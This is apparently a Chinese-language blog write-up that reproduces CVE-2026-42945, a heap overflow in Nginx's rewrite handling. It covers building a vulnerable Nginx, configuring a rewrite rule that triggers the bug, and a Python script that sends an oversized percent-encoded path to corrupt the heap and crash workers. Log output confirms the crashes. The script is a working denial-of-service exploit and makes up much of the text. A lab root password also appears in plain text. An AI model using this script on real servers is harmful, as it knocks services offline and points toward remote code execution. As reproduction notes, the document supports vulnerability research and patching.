Nginx-Rift-CVE-2026-42945

Loong

Nginx-Rift-CVE-2026-42945

漏洞编号:CVE-2026-42945
漏洞名称:Nginx Rift
CVSS 评分:9.2 (Critical)
漏洞类型:堆缓冲区溢出 → DoS / RCE
影响范围:Nginx 0.6.27 ~ 1.30.0(约 16 年)
复现环境:Debian 12 (bookworm),Nginx 1.22.1 源码编译
复现日期:2026-06-04


环境信息

项目
操作系统Debian GNU/Linux 12 (bookworm)
内核版本6.1.0-15-amd64
CPU 架构x86_64
ASLR 状态启用(randomize_va_space = 2
Nginx 版本1.22.1(从 nginx.org 源码编译,含 debug 符号)
编译选项-g -O0(关闭优化)
IP 地址192.168.203.135
Root 密码debian

Debian 仓库中的 nginx 包(1.22.1-9+deb12u7,构建于 2026-05-15)可能已 backport 了修复,因此从官方源码编译原始版本。


前提条件验证

漏洞触发需要 rewrite 配置同时满足三个条件

  1. rewrite 替换字符串中包含 ? 字符
  2. 正则使用未命名捕获($1$2 等)
  3. 后续存在 setrewriteif 指令引用这些捕获
1
2
rewrite ^/api/(.*)$ /internal/api?endpoint=$1;   # 条件1+2
set $captured_path $1; # 条件3

复现步骤

1. 安装编译依赖

1
2
3
4
su -
# 密码: debian

apt-get install -y build-essential libpcre3-dev libssl-dev zlib1g-dev wget curl

2. 下载并编译漏洞版 Nginx

1
2
3
4
5
6
7
8
9
10
11
12
13
cd /tmp
wget -q https://nginx.org/download/nginx-1.22.1.tar.gz
tar xzf nginx-1.22.1.tar.gz
cd nginx-1.22.1

mkdir -p objs
CC=gcc ./configure --prefix=/opt/nginx-vuln \
--without-http_gzip_module \
--with-cc-opt="-g -O0" \
--with-ld-opt="-g" 2>&1 | tail -5

make -j$(nproc) 2>&1 | tail -5
make install 2>&1 | tail -5

确认编译产物:

1
/opt/nginx-vuln/sbin/nginx -V

实际输出

1
2
3
4
nginx version: nginx/1.22.1
built by gcc 12.2.0 (Debian 12.2.0-14+deb12u1)
configure arguments: --prefix=/opt/nginx-vuln --without-http_gzip_module
--with-cc-opt='-g -O0' --with-ld-opt=-g

3. 配置漏洞 rewrite 规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
mkdir -p /opt/nginx-vuln/conf/conf.d /opt/nginx-vuln/logs

cat > /opt/nginx-vuln/conf/nginx.conf << 'NGXEOF'
daemon off;
master_process on;
worker_processes 1;
error_log /opt/nginx-vuln/logs/error.log debug;
pid /opt/nginx-vuln/logs/nginx.pid;

events {
worker_connections 1024;
}

http {
error_log /opt/nginx-vuln/logs/error.log debug;
access_log /opt/nginx-vuln/logs/access.log;
include /opt/nginx-vuln/conf/conf.d/*.conf;
}
NGXEOF

cat > /opt/nginx-vuln/conf/conf.d/vuln.conf << 'NGXEOF'
server {
listen 8080;
root /var/www/html;
index index.html;
server_name _;

# VULNERABLE: rewrite replacement contains '?' + unnamed capture $1
rewrite ^/api/(.*)$ /internal/api?endpoint=$1;
set $captured_path $1;

location / {
try_files $uri $uri/ =404;
}
}
NGXEOF

测试配置:

1
/opt/nginx-vuln/sbin/nginx -c /opt/nginx-vuln/conf/nginx.conf -t

实际输出

1
2
nginx: the configuration file /opt/nginx-vuln/conf/nginx.conf syntax is ok
nginx: configuration file /opt/nginx-vuln/conf/nginx.conf test is successful

4. 启动漏洞版 Nginx

一条一条执行:

1
2
3
4
su -
# 密码: debian

killall nginx
1
sleep 1
1
nohup /opt/nginx-vuln/sbin/nginx -c /opt/nginx-vuln/conf/nginx.conf &
1
sleep 1
1
ps aux | grep nginx

实际输出

1
2
root       13005  0.0  0.0   4476  2868 pts/2    S    02:01   0:00 nginx: master process /opt/nginx-vuln/sbin/nginx -c /opt/nginx-vuln/conf/nginx.conf
nobody 13006 0.0 0.0 6184 3072 pts/2 S 02:01 0:00 nginx: worker process

验证可访问:

1
curl -s http://127.0.0.1:8080/

实际输出

1
<h1>Nginx CVE-2026-42945 Test</h1>

5. 触发堆溢出

创建攻击脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
cat > /tmp/crash_nginx.py << 'PYEOF'
#!/usr/bin/env python3
"""Single-shot nginx worker crash via CVE-2026-42945."""
import socket

# 800 个 %20 —— 每个在查询串上下文中膨胀为 3 字节
# 第一趟分配 ~800 字节,第二趟实际写入 ~2400 字节
bad_path = "/api/" + "%20" * 800 + "crash"

request = (
f"GET {bad_path} HTTP/1.1\r\n"
"Host: 127.0.0.1\r\n"
"Connection: close\r\n"
"\r\n"
)

print("[*] Sending malicious request...")
print(f"[*] Path contains 800 percent-encoded spaces")

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect(("127.0.0.1", 8080))
s.send(request.encode())
resp = s.recv(4096)
print(f"[+] Got response: {resp.decode(errors='replace').split(chr(13)+chr(10))[0]}")
s.close()
except socket.timeout:
print("[!] TIMEOUT - worker crashed before responding!")
except ConnectionResetError:
print("[!] CONNECTION RESET - worker crashed mid-request!")
except Exception as e:
print(f"[!] ERROR: {e}")
PYEOF

执行攻击:

1
python3 /tmp/crash_nginx.py

实际输出

1
2
3
[*] Sending malicious request...
[*] Path contains 800 percent-encoded spaces
[+] Got response: HTTP/1.1 404 Not Found

堆溢出受内存布局影响,不一定每次都崩溃。但即使 HTTP 正常返回,堆也已被悄无声息地破坏——查看错误日志即可确认 glibc 捕获到了堆损坏。

6. 验证崩溃证据

1
tail -10 /opt/nginx-vuln/logs/error.log

实际输出(关键行):

1
2
3
4
rewritten data: "/internal/api", args: "endpoint=%20%20%20%20%20%20%20%20%20%20...
malloc(): corrupted top size
worker process 3392 exited on signal 6
start worker process 3621

逐行解读

日志含义
rewritten data: ... endpoint=%20%20...rewrite 生效,$1 捕获 800 个 %20 被放入查询参数
malloc(): corrupted top size🔴 glibc 检测到堆被破坏(top chunk 大小字段被溢出覆盖)
worker process 3392 exited on signal 6🔴 worker 崩溃!Signal 6 = SIGABRT(glibc 主动 abort)
start worker process 3621master 重启新 worker(PID 从 3392 变成 3621)
评论